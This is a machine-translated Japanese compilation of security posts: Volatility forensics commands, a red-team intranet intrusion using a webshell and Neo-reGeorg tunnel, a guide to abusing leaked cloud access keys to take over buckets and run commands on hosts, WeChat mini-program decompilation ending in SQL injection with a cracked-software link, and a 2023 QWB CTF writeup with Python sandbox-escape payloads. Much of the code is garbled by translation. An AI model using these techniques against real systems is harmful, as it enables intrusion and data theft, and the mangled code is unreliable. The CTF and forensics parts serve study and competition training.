注:以前に終了した(非アクティブな)プロセスを見つけて、RootKitによって隠されたりリンクされたりしていないプロセスを見つけます。

1049983-20231202154601447-1064726854.png 1049983-20231202154602305-2143716689.png14。 CMD履歴コマンドレコードを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 cmdscan

または

volatile.exe -f worldskills3.vmem -profile=win7sp1x64consoles#命令の入力と出力を見ることができます

15.プロセスコマンドラインパラメーターを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64cmdline

1049983-20231202154602951-480863376.png16.Scanメモリシステム内のすべてのファイルのリスト

volatile.exe -f worldskills3.vmem -profile=win7sp1x64filescan

1049983-20231202154603668-1098321893.png Linuxシステムでは、FilescanコマンドパラメーターとGERPコマンドを使用してキーワードを検索できます。

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep 'flag'

python2 vol.py -f worldskills3.vmem --profile=win7sp1x64filescan | grep -e 'jpg | png | jpeg | bmp | gif'

1049983-20231202154604247-1967839022.png写真やテキストを検索します

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep -e 'txt'

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep -e 'jpg'

1049983-20231202154605067-1876640059.png export flag.txtファイル

python2 vol.py -f worldskills3.vmem --profile=win7sp1x64 dumpfiles -q0x000000007f1b6c10 -d ./

1049983-20231202154605839-1375230120.png 1049983-20231202154606424-275207401.pngDumpによってリリースされたプロセスファイルは、最もemollemostを使用して内部のファイルを分離することをお勧めします。

17。ファイルコンテンツを表示する(filescanを使用してコマンドクエリと協力する必要があります)

volatile.exe -f worldskills3.vmem -profile=win7sp1x64dumpfiles -q 0

0x00はじめに

私はe-Sports(エリアカレッジリーグ)の夢を実現するのに忙しかったが、ある午後、マスターが突然私に連絡し、インタビューなしで州の保護チームをプレイするためにグループに参加できると言った。どうしてこんなに良い実用的な機会を逃すことができますか? (楽しいゲーム、私から学ばないでください^^)

0x01すぐに使える企業イントラネットの旅

準備

ストーリーの始まりは、男が私のためにシステムndayシェルを失ったことです

image.png

IPConfigは、10個のイントラネットがあることを発見し、この種のイントラネットは一般的に大きいことを発見しました。

image.png

しかし、この種のNDは他の人に一掃されました。ディレクトリには馬でいっぱいです

image.png

私は何かが間違っていることがわかりました、これは何でしたか?昨日、未知のハッカーがFSCANと噂されていた

image.png

しかし、ターゲットユニットはまだ排除されていません。最初にプレイしましょう。

オンラインに行く準備ができていますが、見つけることができません

image.png

まず、GodzillaのFCSANコマンドを渡し、Bセクションをスキャンします

(最初にノーピングとスイープセクションCを少し、次にマシンを使用してバックパスを離れる必要があります。今回は何か問題があります。そうしないと、トラフィック検出装置が検出され、ステーションを閉じて直接送信します。

パスワードの弱いパスワードの束

image.png

neo-regeorgの使用

Neo-Regeorg Forward Tunneling Toolを使用してトラフィックを紹介します。

Neo-Regeorgは、Regeorgのアップグレードバージョンである一般的なHTTPフォワードトンネリングツールであり、コンテンツの暗号化、ヘッダーのカスタマイズ、応答コードのカスタマイズなどのいくつかの機能を追加します。

python3 neoreg.py generate -k xxx - file 404.html - httpcode 404

xxxとしてウェブシェルパスワードを生成します

さらに興味深いのは、ツールによって追加された404テンプレート関数、実際のコピーのターゲットサイトの404HTML、およびツールに生成されたWebシェルがWebシェルへの直接アクセスが与えられたことです。

图片.png

ターゲットサイトにアップロードします

图片.png

python3 neoreg.py -k xxx -uhttp://

序文

エンタープライズリソースコストを削減するためのツールとして、クラウドプラットフォームは、今日の主要企業システム展開シナリオの不可欠で重要な部分になりました。さまざまなアプリケーションが他の内部および外部サービスまたはプログラムと通信し、資格情報またはキーを大量に使用する必要があるため、脆弱性マイニングの過程で脆弱性の種類が発生することがよくあります:クラウドホストキーリーク。この脆弱性により、攻撃者はクラウドサーバーの権限を引き継ぎ、内部機密情報を表示または削除することができます。この記事では、秘密のキーの漏れを発見する方法と、入手後に使用する方法を中心に展開します。

0x01脆弱性の概要

AKとSKの使用を取得した後、Alibaba CloudとTencent Cloudホストの使用アクセス

キーID/Secret Accessキー暗号化メソッドリクエストの送信者IDを確認します。アクセスキー

ID(AK)はユーザーを識別するために使用され、Secret Access Key(SK)は、ユーザーが認証文字列とクラウドベンダーを暗号化するために使用されるキーであり、SKを機密保持する必要がある認証文字列を確認します。

クラウドホストがユーザーの要求を受信した後、システムは同じSKとAKに対応する同じ認証メカニズムを使用して、認証文字列を生成し、ユーザーの要求に含まれる認証文字列と比較します。認証文字列が同じ場合、システムは、ユーザーが指定された操作権限を持ち、関連する操作を実行すると考えています。認証文字列が異なる場合、システムは操作を無視し、エラーコードを返します。

AK/SK原理は、対称暗号化と復号化を使用します。

0x02秘密のキーリークの共通シナリオ

上記の説明を通じて、クラウドホストキーが漏れている場合、クラウドホストが制御され、非常に有害であることがわかります。

脆弱性マイニング中にいくつかの一般的なリークシナリオがあります:

1。エラーページまたはデバッグ情報でデバッグ。

2。Githubキーワード、FOFAなど。

3。ウェブサイト構成ファイル

4。JSファイルに漏れました

5。ソースコードリーク。 APKとアプレットは、グローバル検索クエリを逆コンパイルされます。

6.写真のアップロード、ドキュメントのアップロードなど、ファイルのアップロードとダウンロード時にもリークがある場合があります。

7。Heapdumpファイル。

0x03実用的な例

ケース1:heapdumpファイルのak \ skリーク

heapdumpファイルは、JVM仮想マシンの実行中のメモリのスナップショットです。通常、パフォーマンス分析などに使用されますが、オブジェクト、クラスなどに関連する情報を保存するため、漏れている場合は情報漏れも引き起こします。

1. Spring Actuator Heapdumpファイルによって引き起こされる秘密の鍵の漏れ。

スキャンツール:https://github.com/f6jo/routevulscan

UNZIPツール:https://Github.com/wyzxxz/heapdump_tool

特定のWebサイトにアクセスすると、テストして、春が不正であることがわかります。この時点で、HeapDumpファイルがあるかどうかを確認し、ダウンロードして減圧し、グローバルに検索して、シークレットキーリークを見つけます。

lzny2gjnoav2587.png

2。違反経路を介して取得します。

クラウドサーバーにファイルをダウンロードするリクエストを要求する際のパケットキャプチャや分析など、ファイルストレージの場所にいくつかの機密ファイルリークがあります。ファイル名はリクエストの場所で壊れる可能性があり、クラウドサーバーはアクセスキーを備えた機密ファイルを返します。

njq5lst2rbg2589.png

ファイルアドレスを取得したら、ダウンロードにアクセスし、ツールを使用してコンテンツをクロールします。 ak \ skの開示

4p5xvw5fys22591.png

ツールリンク:https://github.com/whwlsfb/jdumpspider

ケース2:JSファイルリークシークレットキー

使用用のツール:Trufflehog

ggcdi0croio2593.png

ウェブサイトにアクセスして、プラグイントリュフホーグを使用して検出します。これは、調査結果の場所に重要な漏れがあるかどうかを示します。 (非同期負荷も適用されます)

ij5ngrfvz5v2595.png

3rcxxii3ar12597.png

kc1uk3erikf2600.png

ケース3:ミニプログラムのアップロードなどの関数ポイントがリークされます。

小さなプログラムが開き、パーソナルセンターアバターの場所にあります

sm5mlpc3mub2602.png

アバターをクリックしてパケットをつかみます。

i2lpuutrmny2604.png

AccessKeyId \ acesskeysecret漏れを見ることができます。

侵入テスト中に、写真のアップロード、ファイルのダウンロード、写真の表示などにもっと注意を払うことができ、Ak \ SKがリークされる可能性があります。

ケース4:構成情報のAk \ skリーク

一般的なNACOSバックグラウンド構成リスト。この例を開くと、構成情報が表示されます。 Ak \ SKが漏れていることがわかります。

4mvxoi0gsao2606.png

rvp3ywi1avx2612.png

0x04エクスプロイト

1。 Ak \ SKはバケツを引き継ぎます。

ツールまたはクラウドホスト管理プラットフォームを使用して、バケツを直接引き継ぎます。バケットを引き継いだ後、バケツ内の情報を表示、アップロード、編集、削除できます。

OSSブラウザ - Alibaba Cloudが提供するOSSグラフィカル管理ツール

https://github.com/aliyun/oss-browser

hjboz2z05px2616.png

p4noduuyhvs2619.png

doxrdqghklh2622.png

バケットにログインした後、バケット内のファイルを表示、アップロード、削除、ダウンロードして、バケットが引き継ぐことができることがわかります。

Tencent Yunyunホストテイクオーバープラットフォーム:

https://Cosbrowser.cloud.tencent.com/web/bucket

hnjmiblvsdh2624.png

ceu41mzpujs2627.png

Xingyun Manager(複数のクラウドホストメーカーをサポート):

tcaylk5k1l42628.png

さまざまなメーカーからクラウドホストをインポートすることを選択できます。

jlik0zzrfwi2629.png

ホストのインポートを選択します:

2tfoazxjkj12632.png

Xingyun Managerを介してホストを引き継いだ後、OSSサービスにアクセスするだけでなく、サーバーのパスワードを直接リセットしてサーバーを引き継ぐこともできます。

ud4kedxowsf2634.png

dmaqlujmozw2636.png

ホスト情報やその他の操作を再起動、一時停止、変更できます。

2。 Ak \ SKを取得した後、ホストでコマンドを実行してみることができます。

CFクラウド環境利用フレームワーク

https://github.com/teamssix/cf/releases

twkwbvqcp0y2639.png

04z25bmv5d52641.png

CFを使用して、ホストができる操作許可を表示し、コマンドを実行できることがわかります。

pjuf4xe3hni2642.png

cf tencent cvm exec -c hoamiなど。

詳細については、https://wiki.teamssix.com/cf/ecs/exec.html

Alibaba Cloud HOST RCEの場合

ツールリンク:https://github.com/mrking001/aliyun-accesskey-tools

AK \ SKを入力してホストを照会し、ホスト名を選択して記入し、クラウドアシスタントリストがtrueまたはfalseを表示すると、コマンドを実行することが当てはまります。

fwcqugon3a22643.png

元のリンクから転載:https://forum.butian.net/share/2376

オンラインミニプログラムのほとんどは、Androidエミュレーターを使用してパケットをキャプチャします。ここでは、Burpsuite+Proxifer+Wechatクライアントのパケットをキャッチする方法を使用します。

環境準備

burp2023.9.2

proxifier4.5

Proxifierは非常に強力なSocks5クライアントであり、プロキシサーバーの使用をサポートせず、HTTPSまたはソックス、またはプロキシチェーンを渡すことができるワーキングネットワークプログラムを可能にします。これは有料のソフトウェアであり、31日間の無料トライアルであり、ここにひび割れたバージョンのリンクがあります

リンク:https://pan.baidu.com/s/14qelygxdpmbgtucftpl4tq?pwd=7o50

抽出コード:7o50

图片1.png

次のものをインストールするだけで、インストール後に開くだけです

图片2.png

クリックして登録して、あなたの名前を何気なく書き、登録コードを何気なくコピーし、[OK]をクリックします

プロキシフィア構成

プロキシフィアを開き、プロファイルをクリックしてプロキシサーバーを追加します

图片3.png

图片4.png

アドレス127.0.0.1、ポートカスタマイズ、ここに8888、プロトコル選択httpsがあります

引き続きプロキシルールを追加します

WeChatでミニプログラムを開くと、プロセスに追加のWeChatappexがあります

图片5.png

このプログラムは、WeChat Miniプログラムのプロセスです

ルールを追加します

图片7.png

アプリケーションは、アプレットプロセスアプリケーションを選択し(ここに手動で入力できます)、アクションは新しく作成されたプロキシサーバーを選択します。

げっぷの構成

图片8.png

プロキシリスナーとプロキシサーバーをプロキシファイアのプロキシサーバーを編集して、127.0.0.1:8888をリッスンします

この時点で、WeChatはミニプログラムを開き、WeChatappexのトラフィックが最初にプロキシファイアを通過し、次に127.0.0.1:8888を使用して图片9.pngを使用することがわかります。

これで、通常はWebサイトをテストするように、げっぷでパケットをテストできます

ミニプログラムの逆コンパイル

图片10.png

WeChatファイルがWeChatの設定に保存されている場所を見つけることができます

图片11.png

ディレクトリのアプレットは、ミニプログラムキャッシュファイルのストレージアドレスです

图片12.png

通常使用するミニプログラムが多いほど、対応するファイルが増えます。テストするミニプログラムパッケージが見つからない場合は、変更日に従って見つけるか、単にすべてのキャッシュされたファイルを削除してから、テストするミニプログラムを再開します。

图片13.png

この時点で、アプレットに対応するキャッシュフォルダーをテストしたいのは

内部をクリックして、解決したいパッケージのロックを解除します

图片14.png

これは暗号化されたパッケージです。ユーザーがWeChatのアプレットのQRコードを検索またはスキャンすると、WeChat BackEndはアプレットの関連情報を.wxapkgファイルにパッケージ化し、ユーザーのデバイスに送信します。このファイル形式は、実際には圧縮パッケージであり、すべてのアプレットのコード、リソース、構成ファイル、その他のコンテンツ、および特定の説明ファイルapp.jsonが含まれています。

暗号化されたパッケージなので、最初に復号化しましょう。以下はボスの復号化ツールへのリンクです

リンク:https://pan.baidu.com/s/1bzfvbvwd4vlpakx9payrsg?pwd=qz3z

抽出コード:QZ3Z

图片15.png

暗号化されたパッケージを選択します

图片16.png

復号化が成功した後、ツールディレクトリのwxpackディレクトリで

图片17.png

次の逆コンパイル

最初にnodejsをインストールし、リンクhttps://nodejs.org/zh-cn/download/をダウンロードして、インストールして次のステップに進みます。インストール後、環境変数を追加します

图片18.png

環境変数を追加すると、CMD入力コマンドがエコーされます。

图片19.png

次に、逆コンパイルツールwxappunpackerを使用します

オリジナルリンク3https://github.com/system-cpu/wxappunpacker

ネットワークディスクリンク:https://pan.baidu.com/s/19o2kdqwn2zyars8arej1lq?pwd=22qj

抽出コード:22QJ

ツールディレクトリにご覧ください

インストール

图片20.png

インストール依存関係

npmインストールesprima

NPMインストールCSS-Tree

npmインストールcssbeautify

NPMインストールVM2

npmインストールuglify-es

NPMインストールjs-beautify

上記のコマンドを1つずつ実行します

上記のコマンドを1つずつ実行します

次の逆コンパイル

コマンドを実行します

Node wuwxapkg.js復号化後のアプレットへのパス

图片21.png

图片22.png

実行後、ディレクトリは逆コンパイルパッケージのディレクトリに生成されます。

图片23.png

图片24.png

それはあなたが逆コンパイル後に得るファイルです

WeChat開発者ツールをダウンロードします

公式ウェブサイトのダウンロードリンク

https://ServiceWechat.com/wxa-dev-logic/download_redirect?type=win32_x64from=mpwikidownload_version=1062308310version_type=1

インストール後に開きます

图片25.png

[サインの追加]をクリックします

图片26.png

分解されたディレクトリを選択すると、バックエンドサービスはクラウドサービスを使用しません。 [OK]をクリックします

图片29.png

アプレットのJSコードを表示できます

テスト

クリックして確認コード機能を送信します

图片30.png

/api/shop/ipad/login/smsパスです

コード内の関数を送信するためのコードを見つけます

图片31.png

/login /smsのみが見つかりました

これで、パスアクセスルールが基本的に確認されています。 /API/Shop/iPadにインターフェイスをスプライシングした後、許可なしにスプライスする他のインターフェイスを見つけます。

ホームページへのパスを見つけます

图片32.png

パケットを直接送信して404を返します

图片33.png

スプライシング/API/SHOP/iPadの後のパッケージ

图片34.png

パスが正しいことを確認できますが、不正はありません。このパスは存在しません。これは、すべてのインターフェイスが存在しないことを完全に意味するものではありません。おそらく、欠落しており、認証されていないいくつかのインターフェイスがあります。

偶然

検証コードを送信したばかりのインターフェイスを見て、SMS爆撃などがあるかどうかを確認します

图片35.png

/login /smsインターフェイスにアクセスし、ポストでモバイルパラメーターを受信します

建設パッケージ

图片36.png

存在しない携帯電話番号を入力し、携帯電話番号を正しく表示します

图片37.png

また、実際のものを入力する際のエラーでもあります。システムに存在するアカウント番号のみが有効になる可能性があります。

パラメーターが表示されたときに単一の引用を使用できます

图片38.png

ああ、単一の引用を追加します

图片39.png

ああ免除+1

Return Packetを調べて使用する.NETを伝えることができます。私は個人的に、このフレームワークが多く注入されていると思います、そして、私はそれをエコーせずにマニュアルベットを使用しようとします。 SQLMAPは、シャトル、HTTPSに加えて、-force-SSLパラメーターです

图片40.png

SQLインジェクションが正常に使い果たされ、スタックインジェクションでした。

图片41.png

元のリンクから転載:https://forum.butian.net/share/2477

Misc

easyfuzz

1.文字列を入力しようとすることにより、入力文字のプログラムの検証ルールは9文字であると判断され、正しい文字が満たされている限り、最後の返品値はすべて111111111111111111111111111111111111

1049983-20231220102232383-2117306380.jpgは大胆に推測し続け、試してみてください。最初の2つのキャラクターは110000000を満たす任意のキャラクターであることができるため、最後の7文字を破壊できます。

1049983-20231220102232956-1570359645.png

2。ビットごとに爆発し、アイデアが正しいことを確認します、最後のビットは文字列「d」です

1049983-20231220102233640-77832507.png3。バーストスクリプトを書きます。文字列の長さが9ビットで入力されると、「ここにコードカバレッジ: 110000000」ではない結果とともに印刷されます。スクリプトは次のとおりです

PWNインポートから *

文字列インポートから印刷可能

conn=remote( '101.200.122.251'、12199)

non_matching_strings=[]

範囲のIの場合(9):

Printable:のcharの場合

ペイロード='A'*i + char + 'a'*(8-i)

print(conn.recvuntil(b'enter a string(10バイト未満): '))

conn.sendline(payload.encode())

response=conn.recvline()。decode()。strip()

応答!='ここにコードカバレッジ: 110000000':があります

non_matching_strings.append(ペイロード)

non_matching_strings:の文字列の場合

印刷(文字列)

フラグ:qwb {youknowhowtofuzz!}

サインイン

フラグ{welcome_to_qwb_2023}

pyjail!それはmyfilter !!!

です

Pythonサンドボックスエスケープは、閉じた後、環境を直接読み取り、フラグを取得する

{13212} '+(print(open('/proc/1/Environ ')。read())+'

または、payload:を使用します

{print(open( '/proc/1/Environ')。read())}

1049983-20231220102234429-840188246.jpg 1049983-20231220102235091-904152452.jpgFLAG {61E81B4F-566C-49F5-84DD-D79319FDDC82}

pyjail!それはmyRevenge !!!

です

Pythonサンドボックスエスケープ

ファイルのインポートOS; os.system( "nl fl*hzy")を書き込み、読み取りを使用して実行コンテンツを読んでフラグを取得する

すべてのフィルター文字はOctalでバイパスされ、セグメントで書かれています

{13212} '+(open(' wsy '、' a ')。書き込み(' 15115160157162 '))+' {13212} '+(open(' wsy '、' a ')。 'a')。write( '163; 157'))+'{13212}'+(open( 'wsy'、 'a')。write( '163。'))+'{13212}'+(open( 'wsy'、 'a')。 'a')。write( 'st'))+'{13212}'+(open( 'wsy'、 'a')。write( 'em(' nl 146*hzy ')')+'{13212}'+open( '143157de.py'、 'w')。

または、次のPOC:を順番に実行します

{globals()。update(dict(my_filter=lambda x:1))} '' {in''put()} '#

{globals()。update(dict(len=lambda x:0))} '' {in''put()} '#

{print( '' .__ class __.__ mro __ [1] .__サブクラス__()[137] .__ init __.__グローバル__ ['__ builtins __'] ['__ import __']( 'os')。

['flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104'、 'server_8f6c72124774022b.py']

{globals()。update(dict(my_filter=lambda x:1))} '' {in '' put()} '#

{globals()。 update(dict(len=lambda x:0))} '' {in '' put()} '#

{print(open( 'flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104')。read()}}}

1049983-20231220102235740-1742558554.jpg

フラグ{8F0A4AC2-52D3-4ADB-A1A3-47E05997817D}

wabby wabbo Radio

f12は、wav/static/audios/xh4.wavへのリンクを取得できます

1049983-20231220102236427-57165101.jpgはそれを更新し、それがランダムにプレイするために選択されていることを発見しました。

それを曖昧にすると、合計xh1-xh5とhint1-hint2とflag.wavがあります

各波の左のボーカルは明らかに苔です

1049983-20231220102237104-943477565.jpg

独立したチャネル、振幅を増やし、オンラインWebサイトを説明します

https://MORSECODE.world/international/decoder/audio-decoder-adaptive.html

得る:

旗が欲しいですか?もう少し長く聞いてみましょう。ゲンシンの衝撃の始まり。今日の天気は本当にいいです。 Wabby Wabbo Radioを聴くのは素晴らしい日です。それを行う方法がわからない場合、最初に何か他のことをすることができます。

他に役に立つものはありません、QAMキャリアの振幅を1つだけプロンプトします

https://info.support.huawei.com/info-finder/encyclopedia/zh/qam.html#qam'sホロスコープ

簡単な理解の後、私は01が振幅によって区別できることを発見しました。振幅を印刷しようとしましたが、それらはすべて±1と±3の間に濃縮されることがわかりました。

1049983-20231220102237866-1291932793.jpg 16Qam星座図を比較すると、振幅は信号対応を形成するだけであることがわかりますが、特定の対応が何であるかはわかりません。私たちは盲目的に小さいから大規模に推測します。

簡単なスクリプトは次のとおりです。

scipy.io.wavfileをwavとしてインポートします

npとしてnumpyをインポートします

sysをインポートします

sample_rate、data=wav.read( 'flag.wav')

data:のiの場合

印刷(i)

flag=''

def Repla(n):

n==-3:の場合

「00」を返す

elif n==-1:

「01」を返す

elif n==1:

「10」を返す

elif n==3:

「11」を返す

x、y in data:の場合

n1=round(float(x))

n2=round(float(y))

flag +=repla(n1)

flag +=repla(n2)

print(flag)

1049983-20231220102238733-2090115571.jpg

スパイシャドウ3.0

ヒントを与える:紙の飛行機も飛行機であり、海の反対側に海外に飛ぶこともできます。トピックの説明によると、特別なトンネルをVPNとして関連付けるのは簡単です

少し検索すると、シャドークスクにつながります、リファレンス記事:

https://phuker.github.io/posts/shadowsks-active-probing.html

完全な復号化スクリプトが与えられましたが、キーがわからないので、リクエストを成功させるために識別子としてHTTPを爆発させただけです。

#!/usr/bin/env python3

#encoding: utf-8

OSをインポートします

sysをインポートします

ロギングをインポートします

Hashlibをインポートします

crypto.cipher Import AESから

logging.basicconfig(level=logging.info)

def evp_bytestokey(password、key_len、iv_len):

m=[]

i=0

while len(b ''。結合(m))(key_len + iv_len):

md5=hashlib.md5()

データ=パスワード

0:の場合

データ=m [i -1] +パスワード

md5.update(データ)

M.Append(md5.digest())

I +=1

ms=b ''。参加(m)

key=ms [:key_len]

iv=ms [key_len3360key_len + iv_len]

リターンキー、iv

def Decrypt(cipher、password):

key_len=int(256/8)

IV_LEN=16

モード=aes.mode_cfb

key、_=evp_bytestokey(password、key_len、iv_len)

cipher=bytes.fromhex(cipher)

iv=cipher [:iv_len]

real_cipher=cipher [iv_len:]

obj=aes.new(key、mode、iv、segment_size=128)

Plain=obj.decrypt(real_cipher)

平野を返します

def main():

#HTTPリクエストをテストします

cipher='E0A77DFAFB6948728EF45033116B34FC855E7AC8570CAED829CA9B4C32C2F6F79184E333445C6027E18 A6B53253DCA03C6C464B8289CB7A16AA17666A0325EE842F9A766B81039FE50C5DA12DFAA89ECCE17B1 1BA9748899B49B071851040245FA5EA1312180DEF3D7C0F5AF697343544A8A342E8FCD2B1759086EAD1 24E39A8B3E2F6DC5D56AD7E8548569EE98EC363F87930D4AF80E984D0103036A91BE4AD76F0CFB00206 '

f:としてopen( 'rockyou.txt'、 'rb')

lines=f.readlines()

ライン:のパスワードの場合

Plain=Decrypt(cipher、password.strip())

Plain:のb'http 'の場合

印刷(パスワード、プレーン)

__name__=='__main __' :の場合

主要()

#b'superman \ n 'b' \ x03 \ x0f192.168.159.131 \ x00pget /why-you-you-you-want this-is http /1.1 \ r \ nhost: 192.168.159.131 \ r \ nuur-agent3360 curl/8.4.0 \ r \ naccept: */*\ r \ nconnection: close \ r \ n \ r \ n '

ファイル名を取得してください理由は何ですか?

フラグ{DC7E57298E65949102C17596F1934A97}

スパイシャドウ2.0

トピックの説明によれば、航空機の交通はADS-Bプロトコルに簡単に関連付けることができます

TCPストリームデータをエクスポートします

tshark -r attach.pcapng -y 'tcp' -t fields -e tcp.segment_data tcp.txt

解析スクリプト:

ピモードをインポートします

f:としてopen( 'tcp.txt'、 'r')

lines=f.readlines()

ライン:のデータの場合

Len(data)==47:の場合

print(pymodes.decoder.tell(data [18:]))

空中速度をフィルターし、79A05Eの最速飛行機は371ノットで、MD5 ICAOアドレスはフラグです

1049983-20231220102239481-10217306.jpgまたは

パケットをJSON形式にエクスポートします

1049983-20231220102240331-759824562.png

スクリプトを使用してフィールドを抽出し、MD5を実行します

JSONをインポートします

PMSとしてPymodをインポートします

Hashlibをインポートします

file:として、open( '123.json'、 'r'、encoding='utf-8')を使用します

data=json.load(file)

情報=[]

data:のパケット用

パケット['_ source']および「tcp」の「層」['_ source'] ['layers'] :の場合

tcp_layer=packet ['_ source'] ['layers'] ['tcp']

tcp_layer:の「tcp.payload」の場合

tcp_payload=tcp_layer ['tcp.payload']。

info.append(tcp_payload)

planes_data=[]

Info:のIの場合

msg=i [18:]

pms.adsb.typecode(msg)=19およびpms.adsb.typecode(msg)=22:の場合

icao=pms.adsb.icao(msg)

velocity_info=pms.adsb.velocity(msg)

速度、トラック、vertical_rate、_=velocity_info

plane_info={'icao': icao、' speed ': speed、 'track ':トラック、' vertical_rate': vertical_rate}

planes_data.append(plane_info)

fastest_plane=max(planes_data、key=lambda x: x ['speed'])

print(hashlib.md5(fastest_plane ['icao']。上()。encode())。hexdigest()))

#flag {4cf6729b9bc05686a79c1620b0b1967b}

ハッピーチェス

予想外であるはずです。いつでも9つの位置を入力し、ラウンドを直接終了します。成功したと見なされます。

1049983-20231220102241092-1866057286.jpg

強いネットパイオニア

speedup

純粋なソーシャルワークの問題は、27の力に対する要因の合計を必要とし、OEISにはこの値が直接あります

https://oeis.org/a244060/list

2023 强网杯 writeup by Arr3stY0u

SHA256の後、フラグを取得します

flag {bbdee5c548fddfc76617c562952a3a3b03d423985c095521a86661d248fad3797}

pngを見つけましたか?

文字列main.mem | grep 'linuxバージョン」

1049983-20231220102242746-1827208583.jpgカーネルバージョンを取得したら、写真を撮ります

https://Treasure-house.randark.site/blog/2023-10-25-memoryforensic-test/

Linuxプロファイルを作成します

Python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=LINUXUBUNTU2004X64 LINUX_FIND_FILE -L | sindstr 'デスクトップ'

デスクトップにファイルを見つけることができますhave_your_fun.jocker

1049983-20231220102243633-2077410566.jpgはエクスポートを試みましたが、空です

python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=Linux